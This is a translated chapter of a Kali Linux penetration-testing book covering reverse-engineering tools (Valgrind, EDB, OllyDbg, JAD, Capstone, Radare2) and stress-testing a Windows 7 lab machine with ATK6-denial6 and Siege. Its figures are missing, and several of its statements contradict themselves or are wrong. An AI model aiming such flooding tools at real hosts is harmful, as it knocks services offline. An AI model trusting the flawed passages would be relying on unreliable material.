逆向工程理论及其在布尔系统中的应用。认知心理学杂志,25(4),365-389。doi.org/10.1080/20445911.2013.782033

李和约翰逊-莱尔德模型仅使用布尔内部模型来表示可能的内部条件,以揭示已注意到的行为。由于不可能测试无限数量的输入,因此测试仅可能的输入和输出的子集更有用。我们可以从一个简单的例子开始,例如这里:

  • 如果恶意软件降落在苹果平台上,并且旨在利用 Windows 漏洞,那么它很可能根本无法运行(开关 1)。

  • 如果它落在 Windows 机器上,但是针对 XP 版本的漏洞,它可能会测试该操作系统版本,并且如果发现自己在 Windows Server 2012 上则不执行任何操作(开关 2)

  • 如果碰巧是 Windows XP,但已修补所寻找的漏洞,它也可能不执行任何操作(开关 3)

  • 如果它落在一个包含所寻找的未修补漏洞的 Windows XP 机器上,它会释放其有效负载

使用布尔逻辑

计算机程序由使用条件和决策的数据结构组成,以获得所需的输出。我们将在这里使用 Python 符号,因为它很简单,而且您可能以前见过它。基本的数据结构如下。

  • 迭代器,如 while 循环和 for 循环。迭代器循环的次数与其被告知的次数一样多,每次循环时运行其他命令。

  • 决策点,如 if 结构和 case 结构。前面的图是一组嵌套的 if 结构。

布尔运算符
符号
---
X == Y
X != Y
X <= Y
X >= Y
X < Y
X > Y

下表显示了用于逻辑操作的布尔变量,以连接元素以获得更复杂条件。您可能希望有以下限制条件:

  • X 和 Y 都为真

  • X 和 Y 都为假

  • X 或 Y 为真

  • 除了 X 之外的任何东西

  • 除了 Y 之外的任何东西

布尔变量
变量
---
AND
OR
NOT

以下代码正在测试X的两个条件与 NOT 的布尔变量。您可能已经开始看到输出可以从许多不同的内部编码选择中绘制出来。攻击者或原始人可能会通过多种条件来测试条件,因此您必须考虑获得输出的所有方式:

审查 while 循环结构

while循环是由真/假选择点明确启动和停止的。这些看起来可能非常复杂,但它们最终会解决为一组有限的测试,针对一个条件:

X = 0 
Y = 20 
while (X != Y): print (X), X = X + 1 

这个 Python 3 循环将重复打印X的值,直到它达到 10,然后停止。如果我们说while X < Y,它将完全相同工作,因为循环结构正在测试X的增量。使用一个随机数作为增量器元素的更复杂的循环,可能会在随机命中等于YX值之前进行更长时间的运行(或者不运行):

很明显,程序每次都在测试循环条件。这是使用随机X值的一个例子。首先,选择X值,然后运行两次print(X)命令。由于X只在第一行设置了一次,所以在两次打印命令中它没有改变。当X的值被重置时,它打印了一个不同的值。条件是X不等于Y。我们在几行上设置了Y的值,所以不需要重新设置它来运行这个例子。X只返回一次的原因是第二次,X被随机设置为11。从随机抽取中设置为11的几率是 11 分之 1,远远超过你赢得 Powerball 彩票的概率:

如果我们再次运行循环,它可能会运行更多次,因为它随机避开了等于YX值。同样,它不会打印X = 11的值,因为这是被while循环条件排除的:

审查 for 循环结构

for循环不需要增量器,因为它将范围构建到条件中,与while循环相反,后者只包括一个超出该循环不会运行的限制。使用 Python 符号,以下代码显示了如果您从0值的X和从一到十一的范围开始会发生什么。X的预设值对for循环迭代并不重要。它将所有测试的值应用于X

我们从X设置为100开始,但for循环从它自己的条件中获取X的值:

如果你真的希望X保持不变,你可以将它用作不同范围的基础,如下所示:

理解决策点

if结构是一个二进制决定:要么是,要么不是。墙上的开关灯是一个 if 结构的物理例子。如果开关处于一种位置,灯是亮的,如果它处于另一种位置,灯是灭的:

case结构是一个具有多个正确答案的决策结构,不只有一个 YES,而没有一个 NO。一个例子可能是一个有三种口味的冰淇淋分配器——巧克力、草莓和香草。如果你不想要冰淇淋,你甚至不会接近这台机器。你有三种选择,它们都是正确的:

练习逆向工程

由于知道输入和输出不能确保为您提供要逆向工程的应用程序的内部构造的真实图像,让我们看一些来自 Kali Linux 的有用工具,这些工具可能会使事情变得更容易。我们将看看三个调试器,一个反汇编工具和一个杂项逆向工程工具。

我们将展示两个基于 Linux 的调试器ValgrindEDB-Debugger的用法和输出,然后展示一个仅适用于 Windows 的调试器OllyDbg的类似输出。

反汇编器是JAD,它是一个 Java 反编译器:

使用调试器

调试是什么?通常错误地将这个术语的创造归功于格雷斯·霍珀上将军,她的团队成员在哈佛大学的马克 II 计算机内发现了一只(但已死)蛾卡在继电器内。这个术语实际上可能来自托马斯·爱迪生,因为他提到并定义了术语为小错误和困难。在软件开发中,错误通常是逻辑错误,而不是代码中的拼写错误。拼写错误通常会导致代码根本无法编译,因此它们不会离开开发人员的实验室。逻辑错误不会阻止程序编译,但可能会导致输出失败或在启动程序时出现意外行为。与bug同义的另一个词是defect。项目中的技术债务是项目中未修复的缺陷数量。不同的项目经理对未修复的错误有不同的容忍度。许多恶意软件包在发布版本中有几个严重的错误,但一些更复杂的最近的恶意软件包似乎在技术债务方面非常低。

调试器允许您以逐步方式观察应用程序的行为。您可以看到什么被放入内存,进行了什么系统调用,以及应用程序如何获取和释放内存。我们使用调试器的主要原因是检查我们可以访问源代码的程序的行为。这是因为我们最有可能调试的程序是在我们自己的研讨会中制作的代码。这并不完全构成代码安全审计,但可以帮助找出程序泄漏内存的位置,以及它如何清理已使用的内存。许多程序在命令行上显示状态报告,如果您以这种方式启动它们,这些都是内部调试信息。这些信息可能在应用程序发布后进行清理,但在大多数情况下,最终用户从未看到其中任何内容。

使用 Valgrind 调试器

程序通常从总内存中保留内存。我们发现在命令行上进行调试的一个有用程序是valgrind,它不在默认的 Kali 安装中。当我们发现需要进行初步调试时,我们会添加它。例如,有一次,www.openoffice.org/的一个版本,在 Linux 上有一个错误,允许安装,但无法运行程序。它在显示初始启动画面时就卡住了。运行以下命令显示它正在寻找一个不存在的文件。我们没有只是发送一个错误报告,并希望解决方案作为补丁添加到源代码中,而是只是添加了缺失的文件作为空白文本文件。这使得 OpenOffice 能够启动。OpenOffice 开发人员后来添加了一个补丁,去除了错误,但我们不必等待。作为valgrind的一个例子,以下是在gedit上运行测试的命令行代码:

valgrind -v --log-file="gedit-test.txt" gedit  

在将程序包装在调试器中启动时需要更长的时间,并且整个输出将进入指定的日志文件。一旦程序打开,您可以通过在命令行上按下Ctrl + C来关闭程序,或者如果被测试的应用程序具有 GUI 界面,您可以关闭窗口,valgrind将在观察您正在测试的应用程序关闭后关闭。

在这个例子中,调试器输出了 600 多行,您需要使用一个更用户友好的调试器来找到更有用的信息。请记住,gedit 是一个非常成熟的程序,每次我们使用它来编辑文本文件时都能完美运行,但在打开 gedit,输入几个字符并在不保存新文档的情况下关闭时,valgrind在这种简单的用例中记录了 24 个内存错误:

使用 EDB-调试器

EDB-Debugger 是一个名为 Olly debugger 的 Windows 应用程序的版本。EDB-Debugger 具有以下功能:

  • 开发人员称之为直观的 GUI 界面

  • 标准调试操作(步入/步过/运行/中断)

  • 更多不寻常的条件断点

  • 作为插件实现的调试核心(您可以插入替换核心插件)

  • 一些平台可能有多个可用的调试 API,如果是这种情况,您可能有一个实现其中任何一个的插件

  • 基本指令分析

  • 查看/转储内存区域

  • 有效地址检查

  • 数据转储视图是分页的,允许您同时打开多个内存视图,并可以快速在它们之间切换

  • 它允许导入和生成符号映射

  • 具有扩展可用性的插件

EDB-Debugger 旨在调试 Linux 应用程序,我们将使用 EDB-Debugger 查看相同的应用程序 gedit。GUI 界面显示如下:

  • 标题栏中正在测试的应用程序和进程 ID

  • 内存位置

  • 命令

  • 通用二进制命令映射

  • 书签:代码中感兴趣的地方

  • 为数据保留的寄存器(特别是在 2/3 中标记的行)

  • 数据转储:内存位置和内容

  • 内存堆栈数据

以下是 GUI 的截图:

EDB-Debugger 符号映射器

EDB-Debugger 可以通过以下命令行输入给您一个符号映射:

edb --symbols /usr/bin/gedit > gedit.map 

符号表映射程序中的函数、行或变量。对于 gedit,符号表如下所示:

运行 OllyDbg

如果您正在运行 Kali Linux 2.0 的 64 位版本,您首先需要更新 Kali。它缺少 32 位 wine 基础设施,而没有这个基础设施,wine 甚至不想启动。幸运的是,Kali Linux 给了您一个有用的错误消息。您只需复制错误消息中的引号部分并运行它:

OllyDbg 的 GUI 窗口看起来很像 EDB-Debugger,尽管在图形上有点丑陋。我们正在查看notepad.exe,这是一个仅适用于 Windows 的编辑器,类似于 gedit 的简化版本。窗口分为以下部分:

  • 标题栏中正在测试的应用程序

  • 内存位置

  • 符号映射

  • 命令

  • 寄存器

  • 数据转储:内存位置和内容

  • 内存堆栈数据

当您打开一个可执行文件(EXE、PIF 或 COM)时,它会显示整个运行程序:

您可以选择在目标 Windows 机器上运行 OllyDbg,通过将其文件夹复制到闪存驱动器并将闪存驱动器携带到受感染的机器上来查看正在进行的感染。您还可以按照第一章中提到的内容,将 Kali Linux 安装到可引导的闪存驱动器上,并直接在受感染的机器上运行 Kali。

反汇编器简介

反汇编器将编译的二进制代码显示为汇编代码。这与调试器可以显示的内容类似。

运行 JAD

JAD 是 Kali Linux 附带的 Java 反编译器,似乎是分析潜在危险的来自网页的 Java 小程序的有用工具。它最大的问题是自 2011 年以来就没有维护者了,因此很难找到,除非在 Kali 存储库和 Tomas Varaneckas 的博客页面Jad Decompiler Download Mirror (varaneckas.com/jad/)中。

以下是 JAD 帮助文件中的一页,您可以从主菜单访问,或者通过在命令行中输入jad来访问:

为了简单地演示使用jad,我们为您创建了一个 Java 类。以下三个插图是以下内容的插图

  1. 原始源代码(不一定总是可用)

  2. 运行jad

  3. 反编译源代码

所以,这里是一个小的 Java 类的源代码:

应用程序正在运行。我们展示了使用内联帮助的结果(在字母选择中键入问号),只是为了展示可用的详细级别。然后我们选择了ajad覆盖了源代码。当您只有编译后的类时,这不会是一个问题:

最后,这是反编译的源代码:

使用 Capstone 创建自己的反汇编代码

Capstone 反编译引擎得到很好的维护,并且有一个简单的 API。基本的 Capstone 库默认安装在 Kali Linux 上,您可以使用任何您熟悉的语言构建自己的前端。我们使用 Python,因为它是我们首选的脚本语言。使用aptitude search <keyword>命令结构,您可以确保您有可用的软件包,并查看软件包的状态。在这种情况下,您可以看到第一列中的p表示有一个可用的软件包,i表示已安装。第二列中的A表示该软件包是自动安装的,可能是某个其他软件包的依赖。我们选择install libcapstone-dev,用于 Kali 实例上的 64 位架构,以防我们想尝试自定义 Capstone 的行为。您不需要这样做来使用 Capstone:

这是一个简单的反汇编脚本,基于www.capstone-engine.org/lang_python.html上的示例。这可以更加自动化,但为了这个例子,十六进制代码是硬编码到脚本中的:

一些其他的逆向工程工具

有一大类其他的逆向工程工具,在 Kali Linux 1.x 菜单中列为此类,但在 Kali Linux 2.0 菜单中没有分类。我们不是随机选择其中的一些,而是向您展示了由 Radare2 领导的一套集成工具。

运行 Radare2

您可以通过单击逆向工程下的菜单链接来启动 Radare2。您现在可能更习惯于使用命令行,所以您可能想直接在命令行中打开它。通过键入键盘快捷键Alt + F2来打开命令行启动器。然后,以下命令在新的终端窗口中打开程序的帮助文件:

bash -c "radare2 -h" #  this makes sure that you are opening the bash 
 shell  
                     #  rather than some other possible default shell  
                     #  like the dash shell 

让我们为您解释一下这个命令:

  • bash打开一个 Bash shell。

  • -c指示破折号从一个命令字符串中读取,该命令字符串在双引号中跟随,而不是等待键盘的标准输入。

  • radare2是我们正在打开的应用程序。

  • -h是打开终端窗口中的帮助文件的选项,如果存在的话。--help是该选项的长格式(这些选项几乎在每个 Linux 命令行工具上都可用)。

Radare2 是一个高级的命令行十六进制编辑器、反汇编器和调试器。Radare2 (radare.org)表示 Radare2 是一个具有以下特点的可移植逆向框架:

  • 对许多不同的架构进行反汇编(和汇编)

  • 使用本地本机和远程调试器进行调试(gdb、rap、webui、r2pipe、winedbg 和 windbg)

  • 在 Linux、*BSD、Windows、OSX、Android、iOS、Solaris 和 Haiku 上运行

  • 对文件系统和数据进行取证和数据刻录

  • 用 Python、JavaScript、Go 等脚本编写

  • 支持使用嵌入式 Web 服务器进行协作分析

  • 可视化多种文件类型的数据结构

  • 修补程序以发现新功能或修复漏洞

  • 使用强大的分析能力加快逆向

  • 帮助软件开发

Radare2 是一个集成了十个插件和其他几个应用程序的框架的顶端。为了保持 PG 评级,我们模糊了最后一个插件的名称:

Radare2 工具套件的其他成员

我们将在以下部分讨论 Radare2 工具套件的其他成员。

运行 rasm2

rasm2 /usr/bin/rasm2是一个用于多种架构的命令行汇编器/反汇编器,例如 Intel x86 和 x86-64、MIPS、ARM、PowerPC、Java 和 MSIL。当 JAD 不再可用时,这可能是你的反汇编工具:

运行 rahash2

rahash2 /usr/bin/rahash是一个基于块的哈希工具,支持许多算法,例如 MD4、MD5、CRC16、CRC32、SHA1、SHA256、SHA384、SHA512、par、xor、xorpair、mod255、hamdist 和 entropy。你可以使用rahash2来检查文件、内存转储和磁盘的完整性,并跟踪变化:

以下是对小文件进行 sha256 哈希测试的示例:

运行 radiff2

radiff2 是一个使用各种算法比较文件的二进制实用程序。它支持二进制文件的字节级或增量比较,以及代码分析比较,以找到radare代码分析产生的代码块中的变化。以下是一个比较/var/log/message日志在几秒钟内的两个状态的测试。这是一个在位级别进行比较的测试,用于随机更改:

运行 rafind2

rafind2 旨在在文件中搜索模式。在下面的示例中,rafind2 -s "string searched" <file>向我们展示了当我们搜索一个我们知道存在的字符串和一个我们知道不存在的字符串时,我们能看到什么:

运行 rax2

rax2 是一个命令行的数学表达式求值器。你可以进行许多转换操作,包括对浮点值、十六进制表示、十六进制对字符串到 ASCII 的基数转换等等。它还支持字节序设置,如果没有给出参数,可以用作交互式 shell:

以下是 rax2 的一些示例转换:

  • 十进制转十六进制

  • 十六进制转十进制

  • 八进制转十六进制

  • 对两个字符串进行哈希

  • 对单个字符串进行哈希

压力测试 Windows

接下来,让我们看一些会让你的 Windows 机器哭泣的工具。对系统进行压力测试可以显示出你的机器和网络能承受多大负荷。你也可以进行一个小实验。在 Windows 机器上设置一个服务,在 Linux 机器上设置相同类型的服务,看看哪个能更好地处理负载。结果可能会让你感到惊讶。结果可能会让你问为什么我要使用 Windows?

黑客提示

将 Linux 作为你的日常驱动操作系统——我就是!

处理拒绝

ATK6-Denial6是一个 IPv6 网络压力测试工具,它向目标主机发送数据包并将其击败。这是 ATK6-Denial6 的帮助文件:

以下截图是对易受攻击的 Windows 7 目标机器进行的nmap -A读取。我们想要找出它是否有开放的端口,以及它们是哪些端口。我们可以看到端口1394452869535710243是开放的。这个工具的一个大问题是测试网络是 IPv4:

让我们找一个可以攻击我们的 IPv4 网络的工具。

让网络陷入围攻

Siege 是一个 Web 压力测试工具。Siege 是一个多线程的 HTTP 负载测试和基准测试实用程序。它旨在让 Web 开发人员在压力下测量其代码的性能。它允许您使用可配置数量的并发模拟用户访问 Web 服务器。

正是这些用户将 Web 服务器置于围攻之下。性能指标包括以下内容,每次运行结束时都会进行量化和报告:

  • 经过的时间

  • 总传输数据

  • 服务器响应时间

  • 事务率

  • 吞吐量

  • 并发

  • OK 返回计数

它们的含义和重要性稍后会讨论。围攻基本上有三种操作模式:

  • 回归(在被轰炸时调用)

  • 模拟互联网

  • 蛮力

使用 siege 的格式如下:

  • siege [options]

  • siege [options] [url]

  • siege -g [url]

围攻模拟了 15 个用户访问 Windows 7 目标机器上的网站。总体性能并不算太差。在四分半钟内,网站有 8072 次点击。Windows 7 目标机器保持 100%的可用性,响应时间低于 1/100 秒。

配置您的围攻引擎

如果我们将围攻者的数量增加到 10,000,你认为会发生什么?配置文件在/usr/bin/siege.config。当我们在命令行上运行时,它告诉我们我们已经有一个本地配置文件在/root/siegerc,所以让我们去看看:

要编辑/root/.siegerc,我们可以使用命令行或运行启动器(Alt + F2)输入我们喜欢的文本编辑器的名称。在这里,我们将使用 gedit,所以输入 gedit /root/.siegerc。或者,我们可以在Usual Applications/Accessories文件夹中找到 gedit,打开文件对话框并打开隐藏文件,然后在/root目录中找到.siegerc。你可能已经开始明白为什么 Linux 管理员如此喜欢命令行了。

在配置文件的第 162 行,您会找到并发用户的数量。当前默认值为15,但让我们将其更改为 10,000。让我们看看我们能否破解这个:

在强制关闭 Kali 实例后,让我们尝试使用更少的围攻者。并发用户数量越多,它在您的 Kali 机器上使用的 RAM 也就越多:

使用 625 个围攻者,我们得到了一个稳定的结果,而没有使测试机器崩溃。期间,我们测试了 5,000、2,500 和 1,250,但它们都使机器崩溃了。如果您有一点乐趣,您可以测试更高的数字,比如 940、1,090 等。您可以使用测试机器上的资源来决定您可以使用的围攻者数量。

总结

逆向工程以获得复杂应用的实际代码的明确答案是不太可能的,因为有许多通过循环或选择结构实现相同输出的方法。通过测试其中几种可能的输入处理方法,更容易获得统计列表。您可能会从查看EDB-DebuggerOllyDbg的汇编代码输出中获得更多细节。您可能已经注意到,Linux 和 Windows 应用程序的汇编代码基本上是相同的。高级语言如 C 和 C++只是访问汇编代码的方式,可以轻松转换为机器代码,告诉机器该做什么。

对 Windows 主机进行压力测试归结为检查它们在任何开放端口上在短时间内接收许多输入的能力。请记住,在进行压力测试时,您将在网络上制造很多噪音,任何正确配置的入侵检测工具都会注意到您的攻击。您还可能使目标机器脱离网络,因此在开始测试之前最好通知管理层。

由于这是最后一章,我们希望您喜欢这本书,也希望您学到了一些东西,以便更好地理解渗透测试和对 Windows 操作系统的利用。

感谢阅读本书。

进一步阅读

posted @ 2024-05-03 21:41  绝不原创的飞龙  阅读(59)  评论(0编辑  收藏  举报